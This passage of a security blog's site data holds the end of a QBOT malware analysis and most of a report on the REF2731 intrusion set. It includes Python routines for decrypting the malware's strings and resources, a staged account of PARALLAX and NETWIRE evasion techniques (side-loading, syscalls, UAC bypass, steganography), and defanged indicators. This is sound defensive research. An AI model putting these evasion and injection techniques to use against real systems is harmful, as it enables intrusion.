ploadAndRunDllWithRegsvr32\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x29\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::UploadAndRunDllWithRundll32\"})]})]})]})}),`\n`,(0,n.jsx)(e.h3,{id:\"appendix-c-string-deciphering-implementation\",children:\"Appendix C (string deciphering implementation)\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`def decipher_strings(data: bytes, key: bytes) -\u003e bytes:\n result = dict()\n current_index = 0\n current_string = list()\n for i in range(len(data)):\n current_string.append(data[i] ^ key[i % len(key)])\n if data[i] == key[i % len(key)]:\n result[current_index] = bytes(current_string)\n current_string = list()\n current_index = i + 1\n return result\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"appendix-d-resource-deciphering-implementation\",children:\"Appendix D (resource deciphering implementation)\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`from Crypto.Cipher import ARC4\nfrom Crypto.Hash import SHA1\n\ndef decipher_data(data: bytes, key: bytes) -\u003e tuple[bytes, bytes]:\n data = ARC4.ARC4Cipher(SHA1.SHA1Hash(key).digest()).decrypt(data)\n return data[20:], data[:20]\n\n\ndef verify_hash(data: bytes, expected_hash: bytes) -\u003e bool:\n return SHA1.SHA1Hash(data).digest() == expected_hash\n\n\ndef decipher_rsrc(rsrc: bytes, key: bytes) -\u003e bytes:\n deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])\n if not verify_hash(deciphered_rsrc, expected_hash):\n deciphered_rsrc, expected_hash = decipher_data(rsrc, key)\n if not verify_hash(deciphered_rsrc, expected_hash):\n raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')\n return deciphered_rsrc\n`})})]})}function x(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(d,t)})):d(t)}var v=x;return b(q);})();\n;return Component;"},"_id":"articles/qbot-malware-analysis.mdx","_raw":{"sourceFilePath":"articles/qbot-malware-analysis.mdx","sourceFileName":"qbot-malware-analysis.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/qbot-malware-analysis"},"type":"Article","imageUrl":"/assets/images/qbot-malware-analysis/blog-thumb-drill-bit.jpg","readingTime":"44 min read","series":"","url":"/qbot-malware-analysis","headings":[{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Execution flow","href":"#execution-flow"},{"level":3,"title":"Stage 1","href":"#stage-1"},{"level":3,"title":"Stage 2","href":"#stage-2"},{"level":3,"title":"Stage 3","href":"#stage-3"},{"level":2,"title":"Features","href":"#features"},{"level":3,"title":"Mersenne Twister Random Number Generator","href":"#mersenne-twister-random-number-generator"},{"level":3,"title":"String obfuscation","href":"#string-obfuscation"},{"level":3,"title":"Import obfuscation","href":"#import-obfuscation"},{"level":3,"title":"Resource obfuscation","href":"#resource-obfuscation"},{"level":3,"title":"Cyrillic keyboard language detection","href":"#cyrillic-keyboard-language-detection"},{"level":3,"title":"AVG/AVAST special behavior","href":"#avgavast-special-behavior"},{"level":3,"title":"Windows Defender special behavior","href":"#windows-defender-special-behavior"},{"level":3,"title":"Exception list process watchdog","href":"#exception-list-process-watchdog"},{"level":3,"title":"QBOT process injection","href":"#qbot-process-injection"},{"level":4,"title":"Second stage injection","href":"#second-stage-injection"},{"level":4,"title":"Injecting library from command and control","href":"#injecting-library-from-command-and-control"},{"level":3,"title":"Multi-user installation","href":"#multi-user-installation"},{"level":3,"title":"Dynamic persistence","href":"#dynamic-persistence"},{"level":3,"title":"Command and control public key pinning","href":"#command-and-control-public-key-pinning"},{"level":3,"title":"Computer information gathering","href":"#computer-information-gathering"},{"level":3,"title":"Update mechanism","href":"#update-mechanism"},{"level":3,"title":"Process injection manager","href":"#process-injection-manager"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"MITRE ATT\u0026CK Tactics and Techniques","href":"#mitre-attck-tactics-and-techniques"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques / Sub Techniques","href":"#techniques--sub-techniques"},{"level":2,"title":"Observations","href":"#observations"},{"level":3,"title":"File System","href":"#file-system"},{"level":3,"title":"Registry","href":"#registry"},{"level":3,"title":"Configuration","href":"#configuration"},{"level":2,"title":"Appendices","href":"#appendices"},{"level":3,"title":"Appendix A (extracted network infrastructure)","href":"#appendix-a-extracted-network-infrastructure"},{"level":3,"title":"Appendix B (command handlers)","href":"#appendix-b-command-handlers"},{"level":3,"title":"Appendix C (string deciphering implementation)","href":"#appendix-c-string-deciphering-implementation"},{"level":3,"title":"Appendix D (resource deciphering implementation)","href":"#appendix-d-resource-deciphering-implementation"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Exploring the REF2731 Intrusion Set","slug":"exploring-the-ref2731-intrusion-set","date":"2022-12-06","description":"The Elastic Security Labs team has been tracking REF2731, an 5-stage intrusion set involving the PARALLAX loader and the NETWIRE RAT.","image":"ref-intrusion.jpg","subtitle":"REF2731 intrusion set, campaigns, and malware observations","tags":["ref2731","parallax","netwire"],"body":{"raw":"\n## Key Takeaways\n\n- PARALLAX loader maldoc campaigns continue to have success delivering the NETWIRE RAT.\n- The PARALLAX loader leverages advanced features including DLL-side loading, syscall usage, process, and steganography.\n- Shared infrastructure can be used to stitch campaigns and intrusion sets together.\n\n## Preamble\n\nThe Elastic Security Labs team has been tracking REF2731, an intrusion set involving the [PARALLAX loader](https://twitter.com/malwrhunterteam/status/1227196799997431809) which deploys the NETWIRE RAT. This activity has managed to stay under the radar with low detection rates and continues to incorporate interesting techniques such as DLL side-loading, syscall adoption, process injection, and leveraging steganography.\n\n[PARALLAX](https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax) is a full-featured modal backdoor and loader featuring defense evasion and information on stealing capabilities, first observed in 2020 and associated with COVID-19 malspam campaigns. [NETWIRE](https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire) is a mature and cross-platform RAT that was first observed in 2012\n\nIn this research publication, we will go through the execution flow of one of the observed campaigns, the different features of the PARALLAX loader, technical analysis around the campaigns, campaign intersections, detection logic, and atomic indicators.\n\n## Execution Flow (PARALLAX loader)\n\nThe Elastic Security Labs team has been monitoring multiple campaigns over the past year leveraging the [PARALLAX loader](https://blog.morphisec.com/parallax-rat-active-status). PARALLAX has multiple capabilities and use cases. This analysis observed the PARALLAX loader being used to load other remote access tools (the NETWIRE RAT). Using our PARALLAX payload extractor, we have also observed the PARALLAX loader being used to load the PARALLAX RAT for interactive remote access. These infections typically start through email spam campaigns delivering macro-enabled lure documents.\n\n\u003e On July 27, 2022, Microsoft began rolling out a [change to Office documents](https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked) that will prevent users from opening macros in files that came from the Internet, such as email attachments. We have not observed a change in TTPs based on this update from this intrusion set. Our sampling for this research of macro-enabled Word documents started in March of 2022 and continued through August 2022.\n\nHigh-level summary of the execution flow:\n\n1. An email is sent to a victim with a macro-enabled Microsoft Word document attachment.\n2. The macro downloads malicious files used for DLL-side loading and injection.\n3. The Microsoft developer tool ( **MsiDb.exe** ) sideloads the malicious ( **msi.dll** ).\n4. This malicious DLL drops and decrypts a WAV file ( **cs16.wav** ) before injecting the contents (shellcode) into **cmd.exe**.\n5. The injected shellcode is used to extract the NETWIRE RAT and set up the PARALLAX loader from a dropped image ( **paper.png** ) and inject into **cmd.exe.**\n6. A scheduled task is used to establish persistence for the PARALLAX RAT.\n7. The NETWIRE payload is then executed and sets up its own persistence mechanism.\n\n![Execution flow diagram](/assets/images/exploring-the-ref2731-intrusion-set/image30.png)\n\n### First Stage (lure/macro)\n\nThe first stage in these campaigns involves macro-enabled lure documents typically with themes around United States tax filings.\n\n![Image from lure document walking victim through enabling macros](/assets/images/exploring-the-ref2731-intrusion-set/image9.jpg)\n\nIn this lure, we observed legitimate code lifted from the [GLPK](https://www.gnu.org/software/glpk/) (GNU Linear Programming Kit) used to bypass static analysis of the macro. The malicious code is then interwoven within the macro making it look very genuine and more deceptive.\n\n![Legitimate code from GLPK used in macro](/assets/images/exploring-the-ref2731-intrusion-set/image12.jpg)\n\nThis approach to obfuscation is also observed when critical components used for the next stage are not stored in the macro itself but called from text buried several pages deep within the lure document.\n\n![Download components embedded as text](/assets/images/exploring-the-ref2731-intrusion-set/image1.jpg)\n\nThe macro parses the embedded paragraph text on page three of the lure document and locates the object names and next stage components based on their string length. This is a clever technique to avoid detection based on static analysis of the macro (green text comments added to the images below by ESL for clarity).\n\n![VBA code parsing](/assets/images/exploring-the-ref2731-intrusion-set/image25.jpg)\n\nThe macro then uses the **CreateObject** function to create the required objects and download each of the malware components, saving them to the **AppData** directory of the current user.\n\n![VBA code to create objects](/assets/images/exploring-the-ref2731-intrusion-set/image26.jpg)\n\nIt then executes **AppData\\MsiDb.exe** through the created **wscript.shell** object.\n\nFor this observed lure, the five components that are downloaded for the next stage as identified in the embedded text image above are:\n\n| Filename | Description |\n| --------- | ------------------------------------------------------------------------------------------------------------------------------- |\n| MsiDb.exe | Legitimate Microsoft development application used to import/export database tables and streams |\n| msi.dll | Malicious DLL used for side-loading |\n| cs16.wav | XOR encrypted shellcode |\n| paper.png | Obfuscated NETWIRE and additional PARALLAX loader stager |\n| cs16.cfg | Configuration containing the location of the next execution stage png file, it can either be local or hosted in a remote server |\n\n### Second Stage (MsiDb.exe)\n\nOne of the key strengths in these campaigns is its ability to bypass static detection by modifying legitimate DLLs, a common trend previously reported with the BLISTER loader analysis [[1](https://www.elastic.co/security-labs/blister-loader), [2](https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign)]. Once all the components are retrieved, the macro executes the signed Microsoft development tool ( **MsiDb.exe** ) to load the previously downloaded malicious library ( **msi.dll** ).\n\nWhen the campaign began in September of 2022, this DLL had zero detections in VirusTotal due to its DLL tampering technique where a slight modification of a benign function is overwritten with the second stage.\n\n![0 detection rate on initial upload in VirusTotal](/assets/images/exploring-the-ref2731-intrusion-set/image35.jpg)\n\nWhen ( **MsiDb.exe** ) sideloads the malicious ( **msi.dll** ) module, we can see the difference between the patched and unpatched version of **msi.dll**.\n\n![Comparison between the original and the patched msi.dll function](/assets/images/exploring-the-ref2731-intrusion-set/image36.jpg)\n\nDuring this loading stage, the malicious code is heavily obfuscated and leverages [dynamic API resolution](https://unprotect.it/technique/api-obfuscation/) to bypass static analysis tools and processes. It performs this using two functions:\n\n- One function is used to retrieve library addresses using the CRC32 checksum hash of the requested library name.\n- Another function is used to take the address of the library and the hash of the API name.\n\n![Malicious code performing dynamic API resolution](/assets/images/exploring-the-ref2731-intrusion-set/image21.jpg)\n\nThe malware then builds its own import table, storing it on the stack. An interesting aspect is that the malicious code performs an anti-analysis check to see if the current process name matches the targeted application ( **MsiDb.exe** ), if it doesn’t match, the malware will stop at this stage. This check will hinder automated dynamic analysis systems that might try to analyze **msi.dll** in isolation by executing it with other common applications such as **rundll32.exe** or **regsvr32.exe**.\n\nNext, the malware will load **cs16.wav** and XOR-decrypt it using a key embedded in the file. The key resides in the 200 bytes following the first 4 bytes of the file (bytes 5-204).\n\nThe malware will then execute the shellcode inside the decrypted WAV file.\n\n### Third Stage (shellcode)\n\nTo evade user mode hooks utilized by EDR/AV products and as debugger breakpoints, the malware uses direct system calls to low-level APIs used for process injection. It performs this by first [mapping a file view](https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping) of the Windows **ntdll.dll** library from the System directory.\n\n![NTDLL mapping](/assets/images/exploring-the-ref2731-intrusion-set/image40.jpg)\n\nIt then retrieves the API offset by subtracting the API address from the loaded base address of the loaded **ntdll.dll** , then finally it will use the offset from the mapped **ntdll.dll** and extract the syscall number.\n\n![Extracting the syscall number](/assets/images/exploring-the-ref2731-intrusion-set/image23.jpg)\n\nAfter this, the loader uses the [Heaven’s Gate technique](https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/) and performs injection in the suspended **cmd.exe** process leveraging native Windows **ZwAllocateVirtualMemory** , **ZwWriteVirtualMemory,** and **ZwResumeThread** API functions.\n\n### Fourth Stage\n\nOne interesting technique observed during this stage is through the use of a dropped file ( **cs16.cfg** ). The file is a legitimate Python header file and is prepended with the next stage file name ( **paper.png** ). In our observations, these point to local files previously downloaded but also has the flexibility to point to hosted objects. This is another example of using benign code to obfuscate more malicious intent.\n\n![Prepending paper.png to cs16.cfg](/assets/images/exploring-the-ref2731-intrusion-set/image20.jpg)\n\nIf the first string of ( **cs16.cfg** ) points to a hosted file, it uses the [**IBackgroundCopyManager**](https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager) Component Object Model (COM) interface to download a PNG file and store it on disk ( **paper.png** in our example).\n\n![Downloading the PNG file using BITS](/assets/images/exploring-the-ref2731-intrusion-set/image38.jpg)\n\nThe malware extracts a configuration structure from the stenographically-obfuscated PNG that contains the next PARALLAX loader stage and the final payload; in our sample, we identified the final payload as the NETWIRE RAT, but this process could be used to deliver other payloads.\n\n![Stenographically obfuscated PNG file](/assets/images/exploring-the-ref2731-intrusion-set/image7.jpg)\n\nThe malware executes position independent shellcode that reads and decodes the PNG file, it first extracts the red pixel bytes to an array by parsing the PNG, then decompresses the data with the [LZMA algorithm](https://www.winzip.com/en/learn/tips/what-is-lzma/).\n\n![Decompressing PNG extracted data](/assets/images/exploring-the-ref2731-intrusion-set/image33.jpg)\n\nNext, it creates a suspended **cmd.exe** process and injects the NETWIRE payload and the last PARALLAX stage that will set up the environment and execute the NETWIRE payload.\n\n![Process tree of the malware’s execution](/assets/images/exploring-the-ref2731-intrusion-set/image19.jpg)\n\nBelow is the memory regions showing the injected process hosting the NETWIRE payload:\n\n![Injected NETWIRE payload in a cmd.exe process](/assets/images/exploring-the-ref2731-intrusion-set/image22.jpg)\n\n### Fifth Stage\n\nThe fifth and final stage of PARALLAX Loader performs a UAC bypass through **CMSTPLUA** COM interface, a technique that has been used by ransomware-like LockBit, it then sets persistence on the system before executing the final payload by creating a scheduled task to run **Msidb.exe** using Component Object Model (COM).\n\n![Scheduled task to run MsiDb.exe](/assets/images/exploring-the-ref2731-intrusion-set/image32.jpg)\n\n## Campaign Analysis\n\nThroughout the analysis of the lure documents and malware families, we observed two campaigns associated with their TTPs, malware, network infrastructure, and lure metadata.\n\nThe intersections we observed allowed us to observe additional network infrastructure and identify the characteristics of one infrastructure owner in Campaign 1.\n\nIn the following sections, we will describe relevant elements and artifacts associated with each campaign, as well as their relationships.\n\nThis section will be focused on campaign intersections. As each campaign functioned similarly with respect to their technical implementation (lure document -\\\\\u003e macro -\\\\\u003e defense evasion techniques -\\\\\u003e PARALLAX loader -\\\\\u003e NETWIRE RAT), we’ll use the analysis of the five stages for the deployment of the PARALLAX and NETWIRE malware that has been described in detail in the previous Execution Flow section.\n\nWhile we are not attributing these campaigns to any specific threat actor, we have identified parallel research leveraging the same TTPs that we observed. This research was attributed to the financially motivated threat group, Evilnum [[1](https://attack.mitre.org/groups/G0120/), [2](https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum)] and the [DarkCasino campaign](http://blog.nsfocus.net/darkcasino-apt-evilnum/).\n\n### Campaign 1\n\n#### Overview\n\nThis campaign is clustered by shared lure document metadata, network infrastructure, dropped macro, and malicious DLL ( **msi.dll** ) **.**\n\n![Campaign 1 node-link analysis](/assets/images/exploring-the-ref2731-intrusion-set/image28.jpg)\n\n#### Lure Documents\n\nThe three lure documents used in Campaign 1 were all macro-embedded Microsoft Word documents. The documents were all 153 pages long, with the macro embedded on the 3rd page. The documents all included the H1 Word [document header](https://support.microsoft.com/en-us/office/add-a-heading-3eb8b917-56dc-4a17-891a-a026b2c790f2) of **Как я искал Гантмахера** (loosely translated to: “How I searched for Gantmakher”). Vsevolod Gantmakher was a Russian physicist.\n\nExtracting the metadata for all three documents, we can see their relationships based on several fields; most notably:\n\n- The identical **HeadingPairs** (the names of the Word document header).\n- The identical **CreationDate** dates.\n- The identical **LastPrinted** dates.\n- The **ModifyDate** dates are all within 14-minutes.\n\n![Campaign 1 lure document metadata](/assets/images/exploring-the-ref2731-intrusion-set/image17.jpg)\n\nThe H1 document header of the lure documents does not appear relevant to the targeting as the lure document names and lure document content are wholly unrelated: two of the three document names were related to 2021 United States tax filings, all three of the document names are in English, and the contents of the lure documents are in Cyrillic.\n\n#### Macro\n\nThe macro downloads five files, detailed in the Execution Flow section above **(cs16.wav**, **msi.dll** , **MsiDb.exe** , **paper.png** , and **cs16.cfg** ), from a different domain for each lure document.\n\n![Campaign 1 macro-downloaded files](/assets/images/exploring-the-ref2731-intrusion-set/image2.jpg)\n\n#### Network Infrastructure\n\nCampaign 1 included three domains contacted by the macro to download artifacts required for stages two through five (described in the “Execution Flow” section above) and three domains used for the NETWIRE RAT C2.\n\nThe six domains are:\n\n- digitialrotprevention[.]com - macro-connected.\n- internationalmusicservices[.]com - macro-connected.\n- globalartisticservices[.]com - macro-connected.\n- ohioohioa[.]com - NETWIRE C2.\n- ywiyr[.]com - NETWIRE C2.\n- septton[.]com - NETWIRE C2.\n\nThe macro-connected domains (digitialrotprevention[.]com, internationalmusicservices[.]com, and globalartisticservices[.]com) include metadata that has allowed us to cluster these three domains together in Campaign 1.\n\n![Campaign 1 network infrastructure](/assets/images/exploring-the-ref2731-intrusion-set/image29.jpg)\n\nIn the above image, the Admin email address and Admin user name is russnet123@protonmail[.]com and **rus fam** , respectively. As of this writing, these domains have been suspended.\n\n\u003e Our research identified an additional domain, micsupportcenter[.]com that had the same Admin email address and Admin user name. The lure document included similar US tax document themes, macro elements, and TTPs; but we were unable to confirm that it was part of this campaign. This lure document was first observed in May of 2022 and is possibly part of a testing wave, but this is speculation. We are confident this is a malicious domain and are including it as an indicator artifact for this intrusion set, but not this campaign.\n\nOnce the execution flow reaches the Fourth Stage (described in the Execution Flow section above), the final three domains (ohioohioa[.]com, ywiyr[.]com, and septton[.]com) act as ongoing command and control nodes for the NETWIRE RAT.\n\nWhile ohioohioa[.]com and ywiyr[.]com are protected by privacy services, septton[.]com has interesting metadata that we were able to collect and is outlined below in the SEPTTON Domain section below.\n\n#### Campaign 1 Indicators\n\n| Name | STIX 2.1 Indicator Type | Identifier |\n| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- |\n| bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256 | Brian_Tax_Docs.doc lure document |\n| d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document |\n| 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256 | All Docs.doc lure document |\n| 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256 | msi.dll PARALLAX loader / NETWIRE |\n| 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256 | cs16.wav (shellcode) |\n| 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256 | cs16.cfg (config for PNG stage) |\n| 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256 | paper.png (stager for NETWIRE) |\n| globalartisticservices[.]com | domain-name | PARALLAX loader domain |\n| DigitalRotPrevention[.]com | domain-name | PARALLAX loader domain |\n| InternationalMusicServices[.]com | domain-name | PARALLAX loader domain |\n| russnet123@protonmail[.]com | email-addr | PARALLAX loader domain registration email address |\n| chisholm.i@aol[.]com | email-addr | NETWIRE C2 domain registration email address |\n| ywiry[.]com | domain-name | NETWIRE C2 domain |\n| ohioohioa[.]com | domain-name | NETWIRE C2 domain |\n| septton[.]com | domain-name | NETWIRE C2 domain |\n\n### Campaign 2\n\n#### Overview\n\nThis campaign is clustered through its lure document metadata, network infrastructure, dropped macro, and malicious DLL ( **msvcr100.dll** ).\n\n![Campaign 2 node-link analysis](/assets/images/exploring-the-ref2731-intrusion-set/image24.jpg)\n\n#### Lure Documents\n\nThe lure document used in Campaign 2 is a macro-embedded Microsoft Word document. The document metadata differentiates it from Campaign 1 based on the **LastModifiedBy** field and the macro network infrastructure.\n\n![Campaign 2 lure document metadata](/assets/images/exploring-the-ref2731-intrusion-set/image10.jpg)\n\nThe document name was also related to 2021 United States tax filings.\n\n#### Macro\n\nLike Campaign 1, the macro downloads several files. Beyond the DLL file ( **msvcr100.dll** ), all files were offline before they could be collected. Based on the TTPs observed in this campaign, we assess with high confidence that they **(java.exe**, **Fruit.png** , **idea.cfg** , and **idea.mp3** ) function similarly to the files from Campaign 1 and detailed in the Execution Flow section above.\n\n![Campaign 2 macro-downloaded files](/assets/images/exploring-the-ref2731-intrusion-set/image13.jpg)\n\nAdditional details about the Campaign 1 and Campaign 2 file relationships are in the “Campaign intersections” section below.\n\n#### Network Infrastructure\n\nCampaign 2 included one domain contacted by the macro to download artifacts required for stages two through five (described in detail in the “Execution Flow” section above). Additionally, there was one domain used for the NETWIRE RAT C2.\n\nThe two domains are:\n\n- solro14.s3.ap-northeast-3.amazonaws[.]com - macro-connected\n- ohioohioa[.]com - NETWIRE C2\n\nOnce the execution flow reaches stage four, ohioohioa[.]com acts as the ongoing command and control node for the NETWIRE RAT.\n\n#### Campaign 2 Indicators\n\n| Name | STIX 2.1 Indicator Type | Identifier |\n| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------ |\n| solro14.s3.ap-northeast-3.amazonaws[.]com | domain-name | PARALLAX loader domain |\n| 32fc0d1ad678133c7ae456ecf66c3fcf97e43abc2fdfce3ad3dce66af4841f35 | SHA-256 | 2021-Individual-Tax-Form.doc lure document |\n| 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256 | msvcr100.dll PARALLAX loader / NETWIRE |\n| ohioohioa[.]com | domain-name | NETWIRE C2 domain |\n\n## Campaign Intersections\n\nCampaign 1 and Campaign 2 intersect in several ways.\n\nAs illustrated in the image below, each campaign relied on a lure document (or documents) to execute a macro that contacted adversary-owned or controlled domains; downloaded artifacts used to install and protect the PARALLAX and NETWIRE RAT implants. Additionally, in both campaigns we analyzed, there is a shared network infrastructure used for the NETWIRE C2.\n\n![Campaign 1 and Campaign 2 intersections](/assets/images/exploring-the-ref2731-intrusion-set/image16.jpg)\n\n### The Pyramid of Pain\n\nIn 2013 (and updated in 2014), security researcher David Bianco released an analytical model called the [Pyramid of Pain](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html). The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, the identification of hash values is useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.\n\n![The Pyramid of Pain](/assets/images/exploring-the-ref2731-intrusion-set/image4.jpg)\n\nThe goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of \"pain\") you can inflict.\n\nWhen analyzing the two campaigns, we can put the Pyramid of Pain into action.\n\n- **Hash values** - each lure document had a unique hash.\n- **IP addresses** - each network connection leveraged a different IP address.\n- **Domain names** - each network connection leveraged exclusive domains for the macro components but shared a NETWIRE C2 domain (ohioohioa[.]com).\n- **Network/host artifacts**\n\n - Identically-named host artifacts observed in Campaign 1.\n - Renamed from Campaign 1, but functionally identical, host artifacts observed in Campaign 2.\n - Artifact bundles from both campaigns include similarly formatted and functionally identical files.\n\n- **Tools** - macro-enabled Word document lures, and PARALLAX and NETWIRE RATs.\n- **TTPs** - complex and defensive five-staged execution chain.\n\nLooking across both campaigns, we can see there is some shared infrastructure at the Domain Names tier in the NETWIRE C2 domain (ohioohioa[.]com). In the Network/host artifacts tier we can see additional intersections between the campaigns.\n\n![Network/host artifacts](/assets/images/exploring-the-ref2731-intrusion-set/image3.jpg)\n\nIn both campaigns, we can see a PE file ( **MsiDb.exe** and **java.exe** ), a DLL file ( **msi.dll** and **msvcr100.dll** ), a PNG file ( **paper.png** and **Fruit.png** ), an audio-format named file ( **cs16.wav** and **idea.mp3** ), and a configuration file ( **cs16.cfg** and **idea.cfg** ) at the Network/host artifact tier. All downloaded files in Campaign 1 are named the same across all three lure documents. In both campaigns, the audio-format named files have the same base name as the configuration files ( **cs16.wav** / **cs16.cfg** and **idea.mp3** / **idea.cfg** ). In both campaigns, we assess with high confidence that all host artifacts are functionally identical as described in the Execution Flow section above.\n\n## The SEPTTON Domain\n\nAs reported in the Campaign 1 section, most of the network infrastructure was either well-used across multiple intrusions unrelated to our campaigns or protected by domain privacy services.\n\nAn exception to that is the seppton[.]com domain, which was used as the C2 node for a NETWIRE RAT implant in our sampling. Continuing to analyze this domain, we observed several other associated malicious files. While we did not independently verify the family of malware that is communicating with this domain, signature names in VirusTotal include NETWIRE.\n\n\u003e It should be noted that signature names in VirusTotal alone do not present enough information to provide a high-confidence conviction of a malware sample to a malware family.\n\n![septton[.]com file relationships](/assets/images/exploring-the-ref2731-intrusion-set/image5.jpg)\n\nLooking through the registration information for the domain, we observed two elements of note, both email addresses - marketforce666@yandex[.]com and chisholm.i@aol[.]com.\n\n![septton[.]com domain registration](/assets/images/exploring-the-ref2731-intrusion-set/image37.jpg)\n\nIn the next two sections, we’ll discuss the resource development for domains used in campaigns.\n\n### marketforce666\n\nSearching for **marketforce666** in a search engine did not return results of value from the United States; however, when changing to an Internet egress point within Russia and using the Yandex search engine (Yandex is a Russian Internet services provider), we identified 802 results that show this term has been associated with multiple abuse reports.\n\n![marketforce666 Yandex search engine results](/assets/images/exploring-the-ref2731-intrusion-set/image18.jpg)\n\nWhen expanding our search for domains registered by marketforce666@yandex[.]com, we identified three additional domains. We did not observe these additional domains in our campaigns, but we are including them as indicator artifacts. Below are the four total domains (one from Campaign 1 and three additional) that were registered by, either as the admin, tech, or registrant address, marketforce666@yandex[.]com.\n\n![Domains registered to marketforce666@yandex[.]com](/assets/images/exploring-the-ref2731-intrusion-set/image31.jpg)\n\n### gaza666\n\nLooking at the other email address, chisholm.i@aol[.]com, we were able to connect this email address with a moniker of **gaza666** from the online forum and marketplace, Infected Zone.\n\nOn this forum, the user **gaza666** attempted to purchase (`https://infected-zone[.]com/threads/2814/`) an “Office 365 Complete Package” from the online seller **rzkyo**. **gaza666** and the seller **rzkyo** engaged in a dispute on the forum where **gaza666** did not believe they received what they purchased - which was a package for email spamming and four United States Office 365 accounts but received three 